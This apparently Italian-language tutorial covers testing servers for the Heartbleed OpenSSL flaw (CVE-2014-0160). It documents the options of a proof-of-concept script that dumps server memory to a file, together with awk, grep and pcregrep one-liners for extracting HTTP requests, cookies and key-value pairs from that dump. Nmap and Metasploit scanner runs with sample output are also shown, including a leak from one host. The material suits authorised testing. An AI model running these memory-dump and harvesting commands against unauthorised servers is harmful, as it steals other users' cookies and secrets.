
Test per la vulnerabilità heartbeat SSL (CVE-2014-0160)
NB Quasi tutti i tool (nmap, metasploit, nessus, anche burp) hanno versioni aggiornate dei loro scanner. Questi strumenti sono stati rilasciati nelle fasi iniziali, quando i tool erano ancora in fase di sviluppo. Meglio usare quelli piuttosto che questi ormai.
Uso: heartbleed-poc.py server [options]
Testa la vulnerabilità SSL heartbeat (CVE-2014-0160)
Opzioni: -h, --help mostra questo messaggio di aiuto ed esci -p PORT, --port=PORT Porta TCP da testare (predefinita: 443) -n NUM, --num=NUM Numero di heartbeat da inviare se vulnerabile (definisce quanta memoria ricevi) (predefinito: 1) -f FILE, --file=FILE Nome del file su cui scrivere la memoria scaricata (predefinito: dump.bin) -q, --quiet Non mostrare il dump della memoria -s, --starttls Controlla STARTTLS (solo smtp per ora)
Scansione normale: colpisce la porta 443, con 1 iterazione: python heartbleed-poc.py example.com
Scansione con dump della memoria: effettua 100 richieste e inserisce l'output nel file binario dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com
Per essere sicuri di ottenere diverse parti dell'HEAP, assicurati che il server sia occupato, altrimenti otterrai sempre gli stessi dati.
Controlla un server di posta con STARTTLS (es. porta 25): python heartbleed-poc.py -s -p 25 example.com
C'era un'opzione -v per rendere esplicita la versione TLS, ora viene rilevata automaticamente ed è stata rimossa
Il file binario conterrà output interessanti, ecco alcuni semplici modi per trovare i dati:
Richiesta HTTP: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
Cookie: grep -a "^Cookie:" dump.bin
Coppie chiave-valore interessanti: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
Uso: nmap --script=ssl-heartbleed -p 443
Output di esempio:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes The number of concurrent threads TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed